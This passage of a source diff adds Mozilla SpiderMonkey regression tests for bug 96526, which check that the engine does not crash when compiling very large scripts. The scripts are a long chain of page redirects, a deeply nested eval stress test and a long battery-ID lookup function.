+ else if (jumpto == [278]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbjmolinari.jpg";
+ else if (jumpto == [279]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhbrianmolinari.jpg";
+ else if (jumpto == [280]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdanhorning.jpg";
+ else if (jumpto == [281]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhdonblackden.jpg";
+ else if (jumpto == [282]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjimcalandriello.jpg";
+ else if (jumpto == [283]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohngunterman.jpg";
+ else if (jumpto == [284]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nhjohnmagyar.jpg";
+ else if (jumpto == [285]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njbudclarity.jpg";
+ else if (jumpto == [286]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njcraigjones.jpg";
+ else if (jumpto == [287]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njericrowland.jpg";
+ else if (jumpto == [288]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njjimsnyder.jpg";
+ else if (jumpto == [289]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlarrylevinson.jpg";
+ else if (jumpto == [290]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njlouisdispensiere.jpg";
+ else if (jumpto == [291]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmarksoloff.jpg";
+ else if (jumpto == [292]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelhalko.jpg";
+ else if (jumpto == [293]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njmichaelmalkasian.jpg";
+ else if (jumpto == [294]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njnigelmartin.jpg";
+ else if (jumpto == [295]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njrjmolinari.jpg";
+ else if (jumpto == [296]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtommurasky.jpg";
+ else if (jumpto == [297]) window.location = "http://www.newyankee.com/GetYankees2.cgi?njtomputnam.jpg";
+ else if (jumpto == [298]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmdalepage.jpg";
+ else if (jumpto == [299]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nmmikethompson.jpg";
+ else if (jumpto == [300]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvclydekemp.jpg";
+ else if (jumpto == [301]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvharveyklene.jpg";
+ else if (jumpto == [302]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nvlonsimons.jpg";
+ else if (jumpto == [303]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyabeweisfelner.jpg";
+ else if (jumpto == [304]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyanthonygiudice.jpg";
+ else if (jumpto == [305]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyaustinpierce.jpg";
+ else if (jumpto == [306]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nybrianmonks.jpg";
+ else if (jumpto == [307]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycharlieporter.jpg";
+ else if (jumpto == [308]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nycorneliuswoglum.jpg";
+ else if (jumpto == [309]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennishartwell.jpg";
+ else if (jumpto == [310]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nydennissgheerdt.jpg";
+ else if (jumpto == [311]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nygeorgepettitt.jpg";
+ else if (jumpto == [312]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohndrewes.jpg";
+ else if (jumpto == [313]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyjohnminichiello.jpg";
+ else if (jumpto == [314]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nykevinwoolever.jpg";
+ else if (jumpto == [315]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nymartyrubinstein.jpg";
+ else if (jumpto == [316]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyraysicina.jpg";
+ else if (jumpto == [317]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobbartley.jpg";
+ else if (jumpto == [318]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nyrobertkosty.jpg";
+ else if (jumpto == [319]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystephenbagnato.jpg";
+ else if (jumpto == [320]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevegiamundo.jpg";
+ else if (jumpto == [321]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nystevekelly.jpg";
+ else if (jumpto == [322]) window.location = "http://www.newyankee.com/GetYankees2.cgi?nywayneadelkoph.jpg";
+ else if (jumpto == [323]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohbriannimmo.jpg";
+ else if (jumpto == [324]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavehyman.jpg";
+ else if (jumpto == [325]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdavidconant.jpg";
+ else if (jumpto == [326]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohdennismantovani.jpg";
+ else if (jumpto == [327]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgrahambennett.jpg";
+ else if (jumpto == [328]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregbrunk.jpg";
+ else if (jumpto == [329]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohgregfilbrun.jpg";
+ else if (jumpto == [330]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimreutener.jpg";
+ else if (jumpto == [331]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohjimrike.jpg";
+ else if (jumpto == [332]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkeithsparks.jpg";
+ else if (jumpto == [333]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohkevindrinan.jpg";
+ else if (jumpto == [334]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelhaines.jpg";
+ else if (jumpto == [335]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohmichaelsteele.jpg";
+ else if (jumpto == [336]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohpatrickguanciale.jpg";
+ else if (jumpto == [337]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottkelly.jpg";
+ else if (jumpto == [338]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohscottthomas.jpg";
+ else if (jumpto == [339]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohstevetuckerman.jpg";
+ else if (jumpto == [340]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtedfigurski.jpg";
+ else if (jumpto == [341]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohterrydonald.jpg";
+ else if (jumpto == [342]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtimokeefe.jpg";
+ else if (jumpto == [343]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ohtomhaydock.jpg";
+ else if (jumpto == [344]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbillsneller.jpg";
+ else if (jumpto == [345]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okbobbulick.jpg";
+ else if (jumpto == [346]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okdaryljones.jpg";
+ else if (jumpto == [347]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okstevetarchek.jpg";
+ else if (jumpto == [348]) window.location = "http://www.newyankee.com/GetYankees2.cgi?okwoodymcelroy.jpg";
+ else if (jumpto == [349]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orcoryeells.jpg";
+ else if (jumpto == [350]) window.location = "http://www.newyankee.com/GetYankees2.cgi?oredcavasso.jpg";
+ else if (jumpto == [351]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ormarkmcculley.jpg";
+ else if (jumpto == [352]) window.location = "http://www.newyankee.com/GetYankees2.cgi?orstevekarthauser.jpg";
+ else if (jumpto == [353]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paalanpalmieri.jpg";
+ else if (jumpto == [354]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pachriscarr.jpg";
+ else if (jumpto == [355]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padansigg.jpg";
+ else if (jumpto == [356]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padavecalabretta.jpg";
+ else if (jumpto == [357]) window.location = "http://www.newyankee.com/GetYankees2.cgi?padennishoffman.jpg";
+ else if (jumpto == [358]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pafrankschlipf.jpg";
+ else if (jumpto == [359]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajamesevanson.jpg";
+ else if (jumpto == [360]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pajoekrol.jpg";
+ else if (jumpto == [361]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pakatecrimmins.jpg";
+ else if (jumpto == [362]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pamarshallkrebs.jpg";
+ else if (jumpto == [363]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pascottsheaffer.jpg";
+ else if (jumpto == [364]) window.location = "http://www.newyankee.com/GetYankees2.cgi?paterrycrippen.jpg";
+ else if (jumpto == [365]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patjpera.jpg";
+ else if (jumpto == [366]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patoddpatterson.jpg";
+ else if (jumpto == [367]) window.location = "http://www.newyankee.com/GetYankees2.cgi?patomrehm.jpg";
+ else if (jumpto == [368]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pavicschreck.jpg";
+ else if (jumpto == [369]) window.location = "http://www.newyankee.com/GetYankees2.cgi?pawilliamhowen.jpg";
+ else if (jumpto == [370]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ricarlruggieri.jpg";
+ else if (jumpto == [371]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ripetermccrea.jpg";
+ else if (jumpto == [372]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbillmovius.jpg";
+ else if (jumpto == [373]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scbryanrackley.jpg";
+ else if (jumpto == [374]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scchrisgoodman.jpg";
+ else if (jumpto == [375]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdarrellmunn.jpg";
+ else if (jumpto == [376]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scdonsandusky.jpg";
+ else if (jumpto == [377]) window.location = "http://www.newyankee.com/GetYankees2.cgi?scscotalexander.jpg";
+ else if (jumpto == [378]) window.location = "http://www.newyankee.com/GetYankees2.cgi?sctimbajuscik.jpg";
+ else if (jumpto == [379]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ststuartcoltart.jpg";
+ else if (jumpto == [380]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbilobautista.jpg";
+ else if (jumpto == [381]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnbrucebowman.jpg";
+ else if (jumpto == [382]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidchipman.jpg";
+ else if (jumpto == [383]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidcizunas.jpg";
+ else if (jumpto == [384]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tndavidreed.jpg";
+ else if (jumpto == [385]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnhankdunkin.jpg";
+ else if (jumpto == [386]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnkenwetherington.jpg";
+ else if (jumpto == [387]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnrickgodboldt.jpg";
+ else if (jumpto == [388]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnroyowen.jpg";
+ else if (jumpto == [389]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnsteve.jpg";
+ else if (jumpto == [390]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tntommymercks.jpg";
+ else if (jumpto == [391]) window.location = "http://www.newyankee.com/GetYankees2.cgi?tnwarrenmonroe.jpg";
+ else if (jumpto == [392]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txbillvanpelt.jpg";
+ else if (jumpto == [393]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcarolynmoncivais.jpg";
+ else if (jumpto == [394]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txchucksteding.jpg";
+ else if (jumpto == [395]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txclintlafont.jpg";
+ else if (jumpto == [396]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txcurthackett.jpg";
+ else if (jumpto == [397]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdavidmcneill.jpg";
+ else if (jumpto == [398]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txdonowen.jpg";
+ else if (jumpto == [399]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txfrankcox.jpg";
+ else if (jumpto == [400]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txglenbang.jpg";
+ else if (jumpto == [401]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txhowardlaunius.jpg";
+ else if (jumpto == [402]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjamienorwood.jpg";
+ else if (jumpto == [403]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmarkle.jpg";
+ else if (jumpto == [404]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjimmcnamara.jpg";
+ else if (jumpto == [405]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoelgulker.jpg";
+ else if (jumpto == [406]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjoeveillon.jpg";
+ else if (jumpto == [407]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txjohnburns.jpg";
+ else if (jumpto == [408]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkeithmartin.jpg";
+ else if (jumpto == [409]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkennymiller.jpg";
+ else if (jumpto == [410]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkirkconstable.jpg";
+ else if (jumpto == [411]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txkylekelley.jpg";
+ else if (jumpto == [412]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlesjones.jpg";
+ else if (jumpto == [413]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txlynnlacey.jpg";
+ else if (jumpto == [414]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmarksimmons.jpg";
+ else if (jumpto == [415]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmauriceharris.jpg";
+ else if (jumpto == [416]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txmichaelbrown.jpg";
+ else if (jumpto == [417]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrichardthomas.jpg";
+ else if (jumpto == [418]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txrickent.jpg";
+ else if (jumpto == [419]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txtomlovelace.jpg";
+ else if (jumpto == [420]) window.location = "http://www.newyankee.com/GetYankees2.cgi?txvareckwalla.jpg";
+ else if (jumpto == [421]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukbrianstainton.jpg";
+ else if (jumpto == [422]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavegrimwood.jpg";
+ else if (jumpto == [423]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukdavidevans.jpg";
+ else if (jumpto == [424]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgeoffbogg.jpg";
+ else if (jumpto == [425]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukgordondale.jpg";
+ else if (jumpto == [426]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukharborne.jpg";
+ else if (jumpto == [427]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjamesobrian.jpg";
+ else if (jumpto == [428]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjeffjones.jpg";
+ else if (jumpto == [429]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukjohnworthington.jpg";
+ else if (jumpto == [430]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkeithrobinson.jpg";
+ else if (jumpto == [431]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukkoojanzen.jpg";
+ else if (jumpto == [432]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukleewebster.jpg";
+ else if (jumpto == [433]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukpaultebbutt.jpg";
+ else if (jumpto == [434]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukriaanstrydom.jpg";
+ else if (jumpto == [435]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukrickdare.jpg";
+ else if (jumpto == [436]) window.location = "http://www.newyankee.com/GetYankees2.cgi?ukterrychadwick.jpg";
+ else if (jumpto == [437]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utbobcanestrini.jpg";
+ else if (jumpto == [438]) window.location = "http://www.newyankee.com/GetYankees2.cgi?utdonthornock.jpg";
+ else if (jumpto == [439]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaartgreen.jpg";
+ else if (jumpto == [440]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vabobheller.jpg";
+ else if (jumpto == [441]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaclintadkins.jpg";
+ else if (jumpto == [442]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanieltepe.jpg";
+ else if (jumpto == [443]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadanmeier.jpg";
+ else if (jumpto == [444]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidminnix.jpg";
+ else if (jumpto == [445]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadavidyoho.jpg";
+ else if (jumpto == [446]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vadickthornsberry.jpg";
+ else if (jumpto == [447]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamarksimonds.jpg";
+ else if (jumpto == [448]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamichaelkoch.jpg";
+ else if (jumpto == [449]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikeperozziello.jpg";
+ else if (jumpto == [450]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vamikepingrey.jpg";
+ else if (jumpto == [451]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapatrickkearney.jpg";
+ else if (jumpto == [452]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vapaulstreet.jpg";
+ else if (jumpto == [453]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatonydemasi.jpg";
+ else if (jumpto == [454]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong.jpg";
+ else if (jumpto == [455]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vatroylong2.jpg";
+ else if (jumpto == [456]) window.location = "http://www.newyankee.com/GetYankees2.cgi?vaweslyon.jpg";
+ else if (jumpto == [457]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wabryanthomas.jpg";
+ else if (jumpto == [458]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wageorgebryan.jpg";
+ else if (jumpto == [459]) window.location = "http://www.newyankee.com/GetYankees2.cgi?waglennpiersall.jpg";
+ else if (jumpto == [460]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajoewanjohi.jpg";
+ else if (jumpto == [461]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohndrapala.jpg";
+ else if (jumpto == [462]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnfernstrom.jpg";
+ else if (jumpto == [463]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wajohnmickelson.jpg";
+ else if (jumpto == [464]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wakeithjohnson.jpg";
+ else if (jumpto == [465]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamarkdenman.jpg";
+ else if (jumpto == [466]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wamiketaylor.jpg";
+ else if (jumpto == [467]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wascottboyd.jpg";
+ else if (jumpto == [468]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wibryanschappel.jpg";
+ else if (jumpto == [469]) window.location = "http://www.newyankee.com/GetYankees2.cgi?widenniszuber.jpg";
+ else if (jumpto == [470]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wigeorgebregar.jpg";
+ else if (jumpto == [471]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wikevinwarren.jpg";
+ else if (jumpto == [472]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wirichorde.jpg";
+ else if (jumpto == [473]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wistevenricks.jpg";
+ else if (jumpto == [474]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wiweswolfrom.jpg";
+ else if (jumpto == [475]) window.location = "http://www.newyankee.com/GetYankees2.cgi?wvdannorby.jpg";
+}
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96526-002.js b/js/src/tests/non262/regress/regress-96526-002.js
new file mode 100644
index 0000000000..24e19ec2b1
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-002.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * Tail recursion test by Georgi Guninski
+ */
+a="[\"b\"]";
+s="g";
+for(i=0;i<20000;i++)
+ s += a;
+try {eval(s);}
+catch (e) {};
+
+reportCompare('No Crash', 'No Crash', '');
diff --git a/js/src/tests/non262/regress/regress-96526-003.js b/js/src/tests/non262/regress/regress-96526-003.js
new file mode 100644
index 0000000000..ff243ed558
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-96526-003.js
@@ -0,0 +1,4405 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Sep 2002
+ * SUMMARY: Just seeing that we don't crash when compiling this script -
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=96526
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 96526;
+printBugNumber(BUGNUMBER);
+printStatus("Just seeing that we don't crash when compiling this script -");
+
+
+/*
+ * This function comes from http://bugzilla.mozilla.org/show_bug.cgi?id=133897
+ */
+function validId(IDtext)
+{
+ var res = "";
+
+ if(IDText.value==""){
+ print("You must enter a valid battery #")
+ return false
+ }
+ else if(IDText.value=="x522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="x95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="521"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="522"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="528"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_consumeroem.htm"
+ return true
+ }
+ else if(IDText.value=="e96"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer_e2/energizer2.htm"
+ return true
+ }
+ else if(IDText.value=="en6"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en22"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en90"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en91"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en92"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en93"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en95"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en529"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en539"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="en715"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4as"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl4ac"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="edl6a"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_industrial.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0316i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-00411"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-0411i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+ else if(IDText.value=="3-312i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315i"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315innc"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/alkaline/energizer/alkaline_oem_only.htm"
+ return true
+ }
+
+ else if(IDText.value=="3-315iwc"){
+ //Checks for id entry
